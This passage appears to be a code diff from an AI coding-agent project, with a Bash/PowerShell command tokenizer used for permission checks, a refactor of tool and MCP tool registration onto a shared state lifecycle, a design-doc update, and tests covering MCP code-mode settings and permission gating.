output.commands.push({
resource: item.resource,
save,
})
}
return -1
}
function bashParenthesizedEnd(resource: string, start: number) {
let level = 1
let quote: "single" | "double" | undefined
for (let index = start + 1; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
if (char === "'") quote = undefined
continue
}
if (char === "\\") {
index++
continue
}
if (char === '"') {
quote = quote === "double" ? undefined : "double"
continue
}
if (quote === "double") continue
if (char === "'") {
quote = "single"
continue
}
if (char === "(") level++
if (char === ")" && --level === 0) return index
}
return resource.length - 1
}
function bashBacktickEnd(resource: string, start: number) {
for (let index = start + 1; index < resource.length; index++) {
if (resource[index] === "\\") index++
else if (resource[index] === "`") return index
}
return resource.length - 1
}
function portableDirectoryArgs(
command: string[],
tokens: SourceToken[],
powershell: boolean,
cwd: string,
shell: string,
) {
if (!powershell) {
const start = tokens.findIndex((token) => token.value === command[0])
if (start < 0) return []
return directoryArgs(
tokens.slice(start).map((token) => ({ type: "word", text: token.raw })),
false,
cwd,
shell,
)
}
const start = tokens.findIndex((token) => token.value.toLowerCase() === command[0]?.toLowerCase())
if (start < 0) return []
const directories: string[] = []
let expectsPath = false
for (const part of tokens.slice(start + 1).map((token) => token.raw)) {
if (expectsPath) {
const value = directoryArgument(part, true, cwd, shell)
if (value) directories.push(value)
expectsPath = false
continue
}
if (part.startsWith("-")) {
expectsPath = POWERSHELL_PATH_FLAGS.has(part.toLowerCase())
continue
}
const value = directoryArgument(part, true, cwd, shell)
if (value) directories.push(value)
}
return directories
}
function sourceTokens(resource: string) {
const tokens: SourceToken[] = []
let raw = ""
let value = ""
let quote: "single" | "double" | "backtick" | undefined
let substitution = 0
let redirect = false
const finish = () => {
if (!raw) return
if (!redirect) tokens.push({ raw, value })
raw = ""
value = ""
redirect = false
}
for (let index = 0; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
raw += char
if (char === "'") quote = undefined
else value += char
continue
}
if (quote === "double") {
raw += char
if (char === '"') quote = undefined
else if (char === "\\" && index + 1 < resource.length) {
const next = resource[index + 1]
if ('$`"\\\n'.includes(next)) {
raw += resource[++index]
if (next !== "\n") value += next
} else value += char
} else value += char
continue
}
if (quote === "backtick") {
raw += char
value += char
if (char === "`" && resource[index - 1] !== "\\") quote = undefined
continue
}
if (char === "'") {
raw += char
quote = "single"
continue
}
if (char === '"') {
raw += char
quote = "double"
continue
}
if (char === "`") {
raw += char
value += char
quote = "backtick"
continue
}
if (char === "\\" && index + 1 < resource.length) {
if (resource[index + 1] === "\n") {
finish()
index++
continue
}
if (!raw && /\s/.test(resource[index + 1])) {
index++
continue
}
raw += char + resource[++index]
value += resource[index]
continue
}
if ((char === "<" || char === ">") && resource[index + 1] === "(") {
const end = bashParenthesizedEnd(resource, index + 1)
if (raw) {
raw += resource.slice(index, end + 1)
value += resource.slice(index, end + 1)
}
index = end
continue
}
if (char === "$" && resource[index + 1] === "(") substitution++
if (char === ")" && substitution > 0) substitution--
if (substitution === 0 && /\s/.test(char)) {
finish()
continue
}
if (substitution === 0 && (char === "<" || char === ">" || (char === "&" && resource[index + 1] === ">"))) {
if (/^\d+$/.test(value)) {
raw = ""
value = ""
} else finish()
redirect = true
if (char === "&") index++
while (/[<>&|]/.test(resource[index + 1] ?? "")) index++
continue
}
raw += char
value += char
}
finish()
return tokens
}
function bashSourcePrefix(tokens: SourceToken[], words: string[]) {
const start = tokens.findIndex((token) => token.value === words[0])
if (start < 0) {
const command = tokens.findIndex((token) => !/^[A-Za-z_][A-Za-z0-9_]*\+?=/.test(token.raw))
return prefix(tokens.slice(Math.max(0, command)).map((token) => token.raw)).join(" ")
}
const source = tokens
.slice(start)
.map((token) => token.raw)
.filter((token) => !/^\$\([\s\S]*\)$/.test(token) && !/^`[\s\S]*`$/.test(token))
return prefix(source).join(" ")
}
function powerShellSourcePrefix(tokens: SourceToken[], words: string[]) {
const start = tokens.findIndex((token) => token.value.toLowerCase() === words[0]?.toLowerCase())
if (start < 0) return prefix(words).join(" ")
return prefix(tokens.slice(start).map((token) => token.raw)).join(" ")
}
function powerShellSourceTokens(resource: string) {
const tokens: SourceToken[] = []
let raw = ""
let value = ""
let quote: "single" | "double" | undefined
let redirect = false
const finish = () => {
if (!raw) return
if (!redirect) tokens.push({ raw, value })
raw = ""
value = ""
redirect = false
}
for (let index = 0; index < resource.length; index++) {
const char = resource[index]
if (quote === "single") {
raw += char
if (char === "'" && resource[index + 1] === "'") {
raw += resource[++index]
value += "'"
} else if (char === "'") quote = undefined
else value += char
continue
}
if (quote === "double") {
raw += char
if (char === '"') quote = undefined
else if (char === "`" && index + 1 < resource.length) {
raw += resource[++index]
value += resource[index]
} else value += char
continue
}
if (char === "'") {
raw += char
quote = "single"
continue
}
if (char === '"') {
raw += char
quote = "double"
continue
}
if (char === "`" && index + 1 < resource.length) {
raw += char + resource[++index]
if (resource[index] !== "\n" && resource[index] !== "\r") value += resource[index]
continue
}
if (char === "{" && !raw) {
const end = powerShellBracedEnd(resource, index)
raw = resource.slice(index, end + 1)
value = raw
index = end
continue
}
if (/\s/.test(char)) {
finish()
continue
}
if (char === ">") {
if (resource[index + 1] && !/[\s>&]/.test(resource[index + 1])) {
raw += char
value += char
continue
}
if (/^\d+$/.test(value)) {
raw = ""
value = ""
} else if (raw === "*") {
raw = ""
value = ""
} else finish()
redirect = true
while (/[>&\d]/.test(resource[index + 1] ?? "")) index++
continue
}
if ((char === "&" || char === ".") && !raw && tokens.length === 0) continue
raw += char
value += char
}
finish()
return tokens
}
function powerShellBracedEnd(resource: string, start: number) {
let level = 1
let quote: "single" | "double" | undefined
for (let index = start + 1; index < resource.length; index++) {
const char = resource[index]
if (char === "`" && quote !== "single") {
index++
continue
}
if (quote === "single") {
if (char === "'" && resource[index + 1] === "'") index++
else if (char === "'") quote = undefined
continue
}
if (quote === "double") {
if (char === '"') quote = undefined
continue
}
if (char === "'") {
quote = "single"
continue
}
if (char === '"') {
quote = "double"
continue
}
if (char === "{") level++
if (char === "}" && --level === 0) return index
}
return resource.length - 1
}
return output
})
function parts(node: Node) {
return Array.from({ length: node.childCount }).flatMap((_, index): Part[] => {
File diff suppressed because it is too large Load Diff
+132 -138
View File
@@ -4,7 +4,8 @@ export type { Context, Metadata, Options, Result } from "@opencode-ai/schema/too
import { ToolDefinition, type ToolCall } from "@opencode-ai/ai"
import { Tool } from "@opencode-ai/schema/tool"
import { Context, Effect, Layer, Schema, SchemaIssue, Scope, Semaphore } from "effect"
import type { ToolDraft } from "@opencode-ai/plugin/effect/tool"
import { Context, Effect, Layer, Result, Schema, SchemaIssue, Types } from "effect"
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
import type { Agent } from "./agent.js"
import { CodeModeCatalog } from "./codemode/catalog.js"
@@ -14,6 +15,7 @@ import { Permission } from "./permission.js"
import { PluginHooks } from "./plugin/hooks.js"
import { SessionMessage } from "./session/message.js"
import { SessionSchema } from "./session/schema.js"
import { State } from "./state.js"
import { definition, execute, normalizeContent } from "./tool/runtime.js"
import { Wildcard } from "./util/wildcard.js"
@@ -22,12 +24,7 @@ export class RegistrationError extends Schema.TaggedError<RegistrationError>()("
message: Schema.String,
}) {}
export interface Draft {
readonly add: (tool: Tool.Info) => void
}
export interface Interface {
readonly transform: (callback: (draft: Draft) => void) => Effect.Effect<void, never, Scope.Scope>
export interface Interface extends State.Transformable<ToolDraft> {
readonly snapshot: (permissions?: Permission.Ruleset) => Effect.Effect<Snapshot>
}
@@ -81,9 +78,6 @@ const layer = Layer.effect(
]
})
const local = new Map<string, Array<{ readonly token: object; readonly tool: Tool.Info }>>()
const lock = Semaphore.makeUnsafe(1)
const executeTool = Effect.fn("Tool.execute")(function* (
tool: Tool.Info,
name: string,
@@ -139,112 +133,123 @@ const layer = Layer.effect(
}
})
const transform: Interface["transform"] = Effect.fn("Tool.transform")(function* (callback) {
const tools: Array<Tool.Info> = []
yield* Effect.sync(() => callback({ add: (tool) => tools.push(tool) }))
const valid = yield* Effect.filter(normalizedEntries(tools), (entry) =>
Effect.gen(function* () {
if (entry.tool.options?.namespace !== undefined) yield* validateNamespace(entry.tool.options.namespace)
yield* validateName(normalizedName(entry.tool))
if (entry.tool.options?.codemode === false && entry.key === "execute")
return yield* new RegistrationError({
name: entry.key,
message: 'Tool name "execute" is reserved for CodeMode',
})
yield* Effect.try({
try: () => ToolDefinition.make(definition(entry.tool)),
catch: (error) =>
new RegistrationError({
name: entry.key,
message: `Invalid tool definition ${entry.key}: ${schemaMakeError(error)}`,
}),
})
return true
}).pipe(Effect.catchTag("Tool.RegistrationError", (error) => skipRegistration(entry.tool, error))),
)
// Reject every ambiguous entry rather than choosing a winner.
const entries = yield* Effect.filter(valid, (entry) => {
if (!valid.some((candidate) => candidate !== entry && candidate.key === entry.key)) return Effect.succeed(true)
return skipRegistration(
entry.tool,
new RegistrationError({ name: entry.key, message: `Duplicate normalized tool name: ${entry.key}` }),
)
})
if (entries.length === 0) return
yield* Effect.uninterruptible(
lock.withPermit(
Effect.gen(function* () {
const token = {}
for (const entry of entries)
local.set(entry.key, [...(local.get(entry.key) ?? []), { token, tool: entry.tool }])
yield* Effect.addFinalizer(() =>
lock.withPermit(
Effect.sync(() => {
for (const entry of entries) {
const remaining = local.get(entry.key)?.filter((item) => item.token !== token) ?? []
if (remaining.length > 0) local.set(entry.key, remaining)
else local.delete(entry.key)
}
}),
),
)
}),
const state = State.create({
name: "tool",
initial: () => ({
tools: new Map<string, Types.Mutable<Tool.Info>>(),
errors: new Array<{ tool: Tool.Info; error: RegistrationError }>(),
}),
draft: (data) => data,
finalize: (draft) =>
Effect.forEach(
draft.errors,
(entry) =>
Effect.logError("Skipping invalid tool registration", {
name: entry.tool.name,
namespace: entry.tool.options?.namespace,
error: entry.error.message,
}),
{ discard: true },
),
)
})
return Service.of({
transform,
snapshot: Effect.fn("Tool.snapshot")((permissions) =>
lock.withPermit(
Effect.gen(function* () {
const active = new Map<string, Tool.Info>()
const rules = permissions ?? []
for (const [name, entries] of local) {
const tool = entries.at(-1)?.tool
if (!tool) continue
if (whollyDisabled(tool.options?.permission ?? name, rules)) continue
active.set(name, tool)
}
const direct = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode === false))
const codemode = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode !== false))
const executeRule = rules.findLast((rule) => Wildcard.match("execute", rule.action))
const codemodeEnabled = executeRule?.resource !== "*" || executeRule.effect !== "deny"
const codemodeTool = codemodeEnabled
? CodeModeTool.create(codemode, (name, tool, input, context) => executeTool(tool, name, input, context))
: undefined
const codeModeCatalog = codemodeEnabled ? CodeModeTool.catalog(codemode) : undefined
return {
...(codeModeCatalog === undefined ? {} : { codeModeCatalog }),
definitions: [
...Array.from(direct)
.sort(([left], [right]) => (left < right ? -1 : left > right ? 1 : 0))
.map(([, tool]) => definition(tool)),
...(codemodeTool ? [definition(codemodeTool)] : []),
],
execute: (input: {
readonly sessionID: SessionSchema.ID
readonly agent: Agent.ID
readonly messageID: SessionMessage.ID
readonly call: ToolCall
readonly progress?: (update: Tool.Metadata) => Effect.Effect<void>
}) => {
const context: Tool.Context = {
sessionID: input.sessionID,
agent: input.agent,
messageID: input.messageID,
id: Tool.CallID.make(input.call.id),
progress: input.progress ?? (() => Effect.void),
transform: (callback) =>
state.transform((draft) => {
// Preserve rejection of ambiguous adds within one transform, without rejecting later overrides.
const added = new Map<string, Tool.Info | undefined>()
callback({
add: (tool) => {
const error = registrationError(tool)
if (error) {
draft.errors.push({ tool, error })
return
}
const id = effectiveName(tool)
if (added.has(id)) {
draft.errors.push({
tool,
error: new RegistrationError({ name: id, message: `Duplicate normalized tool name: ${id}` }),
})
const previous = added.get(id)
if (previous) {
draft.tools.set(id, previous)
return
}
if (input.call.name === "execute" && codemodeTool)
return executeTool(codemodeTool, input.call.name, input.call.input, context)
const tool = direct.get(input.call.name)
if (tool) return executeTool(tool, input.call.name, input.call.input, context)
return new Tool.Error({ message: `Unknown tool: ${input.call.name}` })
},
}
}),
),
draft.tools.delete(id)
return
}
added.set(id, draft.tools.get(id))
draft.tools.set(id, { ...tool })
},
update: (id, update) => {
const current = draft.tools.get(id)
if (!current) return
const tool = { ...current }
update(tool)
tool.name = current.name
if (tool.options?.namespace !== current.options?.namespace)
tool.options = { ...tool.options, namespace: current.options?.namespace }
const error = registrationError(tool)
if (error) {
draft.errors.push({ tool, error })
return
}
draft.tools.set(id, tool)
},
remove: (id) => {
draft.tools.delete(id)
added.delete(id)
},
})
}),
reload: state.reload,
snapshot: Effect.fn("Tool.snapshot")((permissions) =>
Effect.sync(() => {
const active = new Map<string, Tool.Info>()
const rules = permissions ?? []
for (const [name, tool] of state.get().tools) {
if (whollyDisabled(tool.options?.permission ?? name, rules)) continue
active.set(name, tool)
}
const direct = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode === false))
const codemode = new Map(Array.from(active).filter(([, tool]) => tool.options?.codemode !== false))
const executeRule = rules.findLast((rule) => Wildcard.match("execute", rule.action))
const codemodeEnabled = executeRule?.resource !== "*" || executeRule.effect !== "deny"
const codemodeTool = codemodeEnabled
? CodeModeTool.create(codemode, (name, tool, input, context) => executeTool(tool, name, input, context))
: undefined
const codeModeCatalog = codemodeEnabled ? CodeModeTool.catalog(codemode) : undefined
return {
...(codeModeCatalog === undefined ? {} : { codeModeCatalog }),
definitions: [
...Array.from(direct)
.sort(([left], [right]) => (left < right ? -1 : left > right ? 1 : 0))
.map(([, tool]) => definition(tool)),
...(codemodeTool ? [definition(codemodeTool)] : []),
],
execute: (input: {
readonly sessionID: SessionSchema.ID
readonly agent: Agent.ID
readonly messageID: SessionMessage.ID
readonly call: ToolCall
readonly progress?: (update: Tool.Metadata) => Effect.Effect<void>
}) => {
const context: Tool.Context = {
sessionID: input.sessionID,
agent: input.agent,
messageID: input.messageID,
id: Tool.CallID.make(input.call.id),
progress: input.progress ?? (() => Effect.void),
}
if (input.call.name === "execute" && codemodeTool)
return executeTool(codemodeTool, input.call.name, input.call.input, context)
const tool = direct.get(input.call.name)
if (tool) return executeTool(tool, input.call.name, input.call.input, context)
return new Tool.Error({ message: `Unknown tool: ${input.call.name}` })
},
}
}),
),
})
}),
@@ -262,27 +267,22 @@ function schemaMakeError(error: unknown) {
return error instanceof Error ? error.message : String(error)
}
const skipRegistration = (tool: Tool.Info, error: RegistrationError) =>
Effect.logError("Skipping invalid tool registration", {
name: tool.name,
namespace: tool.options?.namespace,
error: error.message,
}).pipe(Effect.as(false))
const validateName = (name: string) =>
/^[A-Za-z0-9_-]{1,64}$/.test(name)
? Effect.void
: Effect.fail(new RegistrationError({ name, message: `Invalid tool name: ${name}` }))
const validateNamespace = (namespace: string) =>
namespace.split(".").every((segment) => /^[A-Za-z0-9_-]{1,64}$/.test(segment))
? Effect.void
: Effect.fail(
new RegistrationError({
name: namespace,
message: `Invalid tool namespace: ${JSON.stringify(namespace)}`,
}),
)
function registrationError(tool: Tool.Info) {
const namespace = tool.options?.namespace
if (namespace !== undefined && !namespace.split(".").every((segment) => /^[A-Za-z0-9_-]{1,64}$/.test(segment)))
return new RegistrationError({ name: namespace, message: `Invalid tool namespace: ${JSON.stringify(namespace)}` })
const name = normalizedName(tool)
if (!/^[A-Za-z0-9_-]{1,64}$/.test(name)) return new RegistrationError({ name, message: `Invalid tool name: ${name}` })
const id = effectiveName(tool)
if (tool.options?.codemode === false && id === "execute")
return new RegistrationError({ name: id, message: 'Tool name "execute" is reserved for CodeMode' })
const result = Result.try({
try: () => ToolDefinition.make(definition(tool)),
catch: (error) =>
new RegistrationError({ name: id, message: `Invalid tool definition ${id}: ${schemaMakeError(error)}` }),
})
return Result.isFailure(result) ? result.failure : undefined
}
const normalizedName = (tool: Tool.Info) => tool.name.replace(/[^a-zA-Z0-9_-]/g, "_")
@@ -291,12 +291,6 @@ const effectiveName = (tool: Tool.Info) =>
? normalizedName(tool)
: `${tool.options.namespace.replaceAll(".", "_")}_${normalizedName(tool)}`
const normalizedEntries = (tools: ReadonlyArray<Tool.Info>) =>
tools.map((tool) => ({
key: effectiveName(tool),
tool,
}))
export const node = makeLocationNode({
service: Service,
layer,
+6 -5
View File
@@ -30,17 +30,18 @@ Leaves own resolution, permission, and side-effect ordering. Translate only expe
## Registration
Built-ins, plugins, and MCP install tools through `ToolRegistry.Service.transform`, adding complete tool objects to the draft. A tool may provide a namespace, which flattens direct model names to `<namespace>_<tool>`, and defaults into CodeMode (`codemode` defaults true; `codemode: false` keeps the tool on the provider's native tool list).
Built-ins, plugins, and MCP install tools through `Tool.Service.transform`, adding complete tool objects to the draft. A tool may provide a namespace, which flattens direct model names to `<namespace>_<tool>`, and defaults into CodeMode (`codemode` defaults true; `codemode: false` keeps the tool on the provider's native tool list).
Registrations are scoped:
- The latest active same-placement registration wins.
- Closing any registration removes only that registration and reveals the next active one.
- Tool transforms use the shared `State.create` lifecycle, like agents and skills: `add`, `update`, and `remove` replay in registration order when state is rebuilt.
- `update` and `remove` do nothing for missing tools. `add` requires a complete tool definition.
- Disposing a registration or closing its scope removes its transform and rebuilds the remaining state. `reload` replays transforms after their external inputs change.
- Each model request captures the effective tools it advertises; later registration changes affect later requests.
Type safety ends at registration. The registry validates model input and declared output at runtime and should not carry producer schema generics through storage or execution.
`ToolRegistry.Service` is Location-scoped. Do not make the registry process-global or construct a separate application-tool service for each Location.
`Tool.Service` is Location-scoped. Do not make the registry process-global or construct a separate application-tool service for each Location.
## Permissions
@@ -56,4 +57,4 @@ Producer capture limits remain local to producers. For example, Bash keeps `AppP
## Current Gaps
- MCP and future Session-scoped registrations still need an explicit canonical registration design.
- Future Session-scoped registrations still need an explicit canonical registration design.
+79 -88
View File
@@ -2,7 +2,7 @@ export * as McpTool from "./mcp.js"
import { ToolFailure } from "@opencode-ai/ai"
import { McpEvent } from "@opencode-ai/schema/mcp-event"
import { Context, Effect, Exit, Fiber, type JsonSchema, Layer, Scope, Semaphore, Stream } from "effect"
import { Context, Effect, Fiber, type JsonSchema, Layer, Semaphore, Stream } from "effect"
import { makeLocationNode } from "@opencode-ai/util/effect/app-node"
import { Bus } from "../bus.js"
@@ -23,9 +23,6 @@ export interface Interface {
export class Service extends Context.Service<Service, Interface>()("@opencode/McpTool") {}
/** For environments without MCP: registration settles immediately. */
export const noop = Layer.succeed(Service, Service.of({ flush: Effect.void }))
export const layer = Layer.effect(
Service,
Effect.gen(function* () {
@@ -33,94 +30,88 @@ export const layer = Layer.effect(
const tools = yield* Tool.Service
const bus = yield* Bus.Service
const permission = yield* Permission.Service
const scope = yield* Scope.Scope
const lock = Semaphore.makeUnsafe(1)
let current: Scope.Closeable | undefined
let discovered: MCP.Tool[] = []
// Register the current tool set under a fresh child scope, then close the previous one so the
// registry never has a gap where MCP tools disappear mid-swap.
// Keep the source's position so later plugin transforms also apply after MCP refreshes.
yield* tools.transform((draft) => {
for (const tool of discovered) {
const schema = (tool.inputSchema ?? {}) as JsonSchema.JsonSchema
draft.add({
name: tool.name,
options: { namespace: namespace(tool.server), codemode: tool.codemode !== false },
description: tool.description ?? "",
input: {
...schema,
type: "object",
properties: schema.properties ?? {},
additionalProperties: false,
},
output: (tool.outputSchema ?? {}) as JsonSchema.JsonSchema,
execute: (input, context) =>
Effect.gen(function* () {
yield* permission.assert({
action: name(tool.server, tool.name),
resources: ["*"],
save: ["*"],
metadata: {},
sessionID: context.sessionID,
agent: context.agent,
source: {
type: "tool",
messageID: context.messageID,
id: context.id,
},
})
const result = yield* mcp
.callTool({
server: tool.server,
name: tool.name,
args: (input ?? {}) as Record<string, unknown>,
})
.pipe(
Effect.catchTags({
"MCP.NotFoundError": (error) =>
new ToolFailure({ message: `MCP server "${error.server}" is not available` }),
"MCP.ToolCallError": (error) => new ToolFailure({ message: error.message }),
}),
)
if (result.isError)
return yield* new ToolFailure({
message:
result.content
.flatMap((part) => (part.type === "text" ? [part.text] : []))
.join("\n")
.trim() || "MCP tool returned an error",
})
const content = result.content.map((part) =>
part.type === "text"
? { type: "text" as const, text: part.text }
: {
type: "file" as const,
uri: `data:${part.mimeType};base64,${part.data}`,
mime: part.mimeType,
},
)
const text = content.flatMap((part) => (part.type === "text" ? [part.text] : [])).join("\n")
return {
output: result.structured ?? (text === "" ? null : text),
...(content.length === 0 ? {} : { content }),
}
}).pipe(
Effect.mapError((error) =>
error instanceof ToolFailure
? error
: new ToolFailure({ message: `Unable to execute ${name(tool.server, tool.name)}` }),
),
),
})
}
})
const reconcile = lock.withPermit(
Effect.gen(function* () {
const discovered = yield* mcp.tools()
const next = yield* Scope.fork(scope)
yield* tools
.transform((draft) => {
for (const tool of discovered) {
const schema = (tool.inputSchema ?? {}) as JsonSchema.JsonSchema
draft.add({
name: tool.name,
options: { namespace: namespace(tool.server), codemode: tool.codemode !== false },
description: tool.description ?? "",
input: {
...schema,
type: "object",
properties: schema.properties ?? {},
additionalProperties: false,
},
output: (tool.outputSchema ?? {}) as JsonSchema.JsonSchema,
execute: (input, context) =>
Effect.gen(function* () {
yield* permission.assert({
action: name(tool.server, tool.name),
resources: ["*"],
save: ["*"],
metadata: {},
sessionID: context.sessionID,
agent: context.agent,
source: {
type: "tool",
messageID: context.messageID,
id: context.id,
},
})
const result = yield* mcp
.callTool({
server: tool.server,
name: tool.name,
args: (input ?? {}) as Record<string, unknown>,
})
.pipe(
Effect.catchTags({
"MCP.NotFoundError": (error) =>
new ToolFailure({ message: `MCP server "${error.server}" is not available` }),
"MCP.ToolCallError": (error) => new ToolFailure({ message: error.message }),
}),
)
if (result.isError)
return yield* new ToolFailure({
message:
result.content
.flatMap((part) => (part.type === "text" ? [part.text] : []))
.join("\n")
.trim() || "MCP tool returned an error",
})
const content = result.content.map((part) =>
part.type === "text"
? { type: "text" as const, text: part.text }
: {
type: "file" as const,
uri: `data:${part.mimeType};base64,${part.data}`,
mime: part.mimeType,
},
)
const text = content.flatMap((part) => (part.type === "text" ? [part.text] : [])).join("\n")
return {
output: result.structured ?? (text === "" ? null : text),
...(content.length === 0 ? {} : { content }),
}
}).pipe(
Effect.mapError((error) =>
error instanceof ToolFailure
? error
: new ToolFailure({ message: `Unable to execute ${name(tool.server, tool.name)}` }),
),
),
})
}
})
.pipe(Scope.provide(next))
if (current) yield* Scope.close(current, Exit.void)
current = next
discovered = yield* mcp.tools()
yield* tools.reload()
}),
)
+5 -3
View File
@@ -222,9 +222,11 @@ describe("AISDKNative", () => {
},
headers: { "x-test": "value" },
})
expect(map("@ai-sdk/amazon-bedrock/mantle", settings, "openai.gpt-oss-safeguard-20b")?.package).toBe(
"@opencode-ai/ai/providers/amazon-bedrock/mantle/chat",
)
for (const modelID of ["openai.gpt-oss-safeguard-20b", "openai.gpt-oss-safeguard-120b"]) {
expect(map("@ai-sdk/amazon-bedrock/mantle", settings, modelID)?.package).toBe(
"@opencode-ai/ai/providers/amazon-bedrock/mantle/chat",
)
}
expect(
map(
"@ai-sdk/amazon-bedrock/mantle",
+2 -4
View File
@@ -64,10 +64,8 @@ export const registerToolPlugin = <R>(
hook: () => Effect.succeed({ dispose: Effect.void }),
},
tool: {
transform: (callback) =>
tools
.transform((draft) => callback({ add: (tool) => draft.add(tool) }))
.pipe(Effect.orDie, Effect.as({ dispose: Effect.void })),
transform: tools.transform,
reload: tools.reload,
hook: () => Effect.die("registerToolPlugin does not support tool hooks"),
},
})
+72 -21
View File
@@ -77,6 +77,7 @@ function resourceServer(
templateLists: 0,
toolLists: 0,
initializations: 0,
urls: [] as string[],
}
const protocol = new Server(
{ name: "mcp-resources", version: "1.0.0" },
@@ -145,6 +146,7 @@ function resourceServer(
const http = Bun.serve({
port: 0,
fetch: async (request) => {
state.urls.push(request.url)
const body: unknown = request.method === "POST" ? await request.clone().json() : undefined
if (typeof body === "object" && body !== null && "method" in body && body.method === "initialize") {
state.initializations += 1
@@ -718,6 +720,40 @@ test("applies configured MCP timeouts to resource operations", async () => {
await expect(read).rejects.toThrow("Request timed out")
})
for (const entry of [
{ name: "default", query: "", codemode: undefined, expected: "?codemode=false" },
{ name: "explicit local code mode", query: "", codemode: true, expected: "?codemode=false" },
{ name: "direct tools", query: "", codemode: false, expected: "" },
{
name: "existing query",
query: "?source=opencode",
codemode: undefined,
expected: "?source=opencode&codemode=false",
},
{ name: "explicit remote code mode", query: "?codemode=true", codemode: undefined, expected: "?codemode=true" },
{ name: "explicit remote opt-out", query: "?codemode=false", codemode: undefined, expected: "?codemode=false" },
{ name: "portal opt-out", query: "?codemode=off", codemode: undefined, expected: "?codemode=off" },
]) {
testEffect(Layer.empty).live(`remote MCP code mode preference: ${entry.name}`, () =>
Effect.gen(function* () {
const server = yield* resourceServer()
const config = new ConfigMCP.Remote({
type: "remote",
url: server.url + entry.query,
oauth: false,
codemode: entry.codemode,
})
const connection = yield* connect("resources", config, import.meta.dir)
yield* connection.tools()
expect(server.state.initializations).toBe(1)
expect(server.state.toolLists).toBe(1)
expect(server.state.urls.length).toBeGreaterThanOrEqual(3)
expect(new Set(server.state.urls)).toEqual(new Set([server.url + entry.expected]))
expect(config.url).toBe(server.url + entry.query)
}),
)
}
test("lists, reads, and reports MCP resource changes", async () => {
await Effect.runPromise(
Effect.scoped(
@@ -1193,7 +1229,7 @@ test("serializes concurrent MCP lifecycle operations", async () => {
)
})
testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updates alive", () =>
testEffect(Layer.empty).live("isolates invalid MCP tools and reapplies plugin mutations on catalog updates", () =>
Effect.gen(function* () {
const tool = (server: string, name: string) =>
new MCP.Tool({
@@ -1210,12 +1246,14 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
const registry = yield* Tool.Service
const registration = yield* McpTool.Service
const bus = yield* Bus.Service
const policy = yield* registry.transform((draft) => {
draft.update("demo_search", (tool) => {
tool.description = "Updated search"
})
draft.remove("other_lookup")
})
yield* registration.flush
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_search",
"other_lookup",
"execute",
])
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual(["demo_search", "execute"])
yield* Ref.set(catalog, [tool("demo", "y".repeat(65)), ...healthy, tool("demo", "added"), namespace])
yield* bus.publish(McpEvent.ToolsChanged, { server: "demo" })
@@ -1223,23 +1261,36 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_added",
"demo_search",
"other_lookup",
"execute",
])
yield* Effect.forEach(["demo_search", "other_lookup"], (name) =>
executeTool(registry, {
expect((yield* toolDefinitions(registry)).find((tool) => tool.name === "demo_search")?.description).toBe(
"Updated search",
)
expect(
yield* executeTool(registry, {
sessionID: Session.ID.make("ses_mcp_invalid_catalog"),
...toolIdentity,
call: { type: "tool-call", id: `call_${name}`, name, input: {} },
}).pipe(Effect.tap((result) => Effect.sync(() => expect(result).toMatchObject({ status: "completed" })))),
)
call: { type: "tool-call", id: "call_demo_search", name: "demo_search", input: {} },
}),
).toMatchObject({ status: "completed" })
yield* Ref.set(catalog, [tool("demo", "status"), ...healthy, tool("demo", "added"), tool("repaired", "lookup")])
yield* Ref.set(catalog, [
tool("demo", "status"),
tool("other", "lookup"),
tool("demo", "added"),
tool("repaired", "lookup"),
])
yield* bus.publish(McpEvent.ToolsChanged, { server: "demo" })
yield* waitForTool(registry, "demo_status")
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_added",
"demo_search",
"demo_status",
"repaired_lookup",
"execute",
])
yield* policy.dispose
expect((yield* toolDefinitions(registry)).map((tool) => tool.name)).toEqual([
"demo_added",
"demo_status",
"other_lookup",
"repaired_lookup",
@@ -1273,7 +1324,7 @@ testEffect(Layer.empty).live("isolates invalid MCP tools and keeps catalog updat
}),
)
it.effect("advertises MCP output schemas to Code Mode", () =>
it.live("advertises MCP output schemas to Code Mode", () =>
Effect.gen(function* () {
const registry = yield* Tool.Service
const toolSet = yield* waitForCodeModeTool(registry, "demo.search")
@@ -1290,7 +1341,7 @@ it.effect("advertises MCP output schemas to Code Mode", () =>
}),
)
it.effect("returns content-only MCP results through Code Mode", () =>
it.live("returns content-only MCP results through Code Mode", () =>
Effect.gen(function* () {
assertion = yield* Deferred.make<Permission.AssertInput>()
decision = Effect.void
@@ -1315,7 +1366,7 @@ it.effect("returns content-only MCP results through Code Mode", () =>
}),
)
it.effect("advertises MCP tools directly when Code Mode is disabled for the server", () =>
it.live("advertises MCP tools directly when Code Mode is disabled for the server", () =>
Effect.gen(function* () {
const registry = yield* Tool.Service
yield* waitForTool(registry, "direct_lookup")
@@ -1329,7 +1380,7 @@ it.effect("advertises MCP tools directly when Code Mode is disabled for the serv
// Baseline (PLAN.md step 1): MCP isError must become one failed tool call, not a
// success whose text happens to describe an error.
it.effect("fails the call when MCP reports isError", () =>
it.live("fails the call when MCP reports isError", () =>
Effect.gen(function* () {
assertion = yield* Deferred.make<Permission.AssertInput>()
decision = Effect.void
@@ -1347,7 +1398,7 @@ it.effect("fails the call when MCP reports isError", () =>
)
// Baseline (PLAN.md step 1): mixed MCP text and media content must reach the model intact.
it.effect("preserves MCP text and media content for the model", () =>
it.live("preserves MCP text and media content for the model", () =>
Effect.gen(function* () {
assertion = yield* Deferred.make<Permission.AssertInput>()
decision = Effect.void
@@ -1368,7 +1419,7 @@ it.effect("preserves MCP text and media content for the model", () =>
}),
)
it.effect("waits for permission before calling an MCP tool", () =>
it.live("waits for permission before calling an MCP tool", () =>
Effect.gen(function* () {
calls = 0
assertion = yield* Deferred.make<Permission.AssertInput>()
@@ -1410,7 +1461,7 @@ it.effect("waits for permission before calling an MCP tool", () =>
}),
)
it.effect("does not call MCP when permission is blocked", () =>
it.live("does not call MCP when permission is blocked", () =>
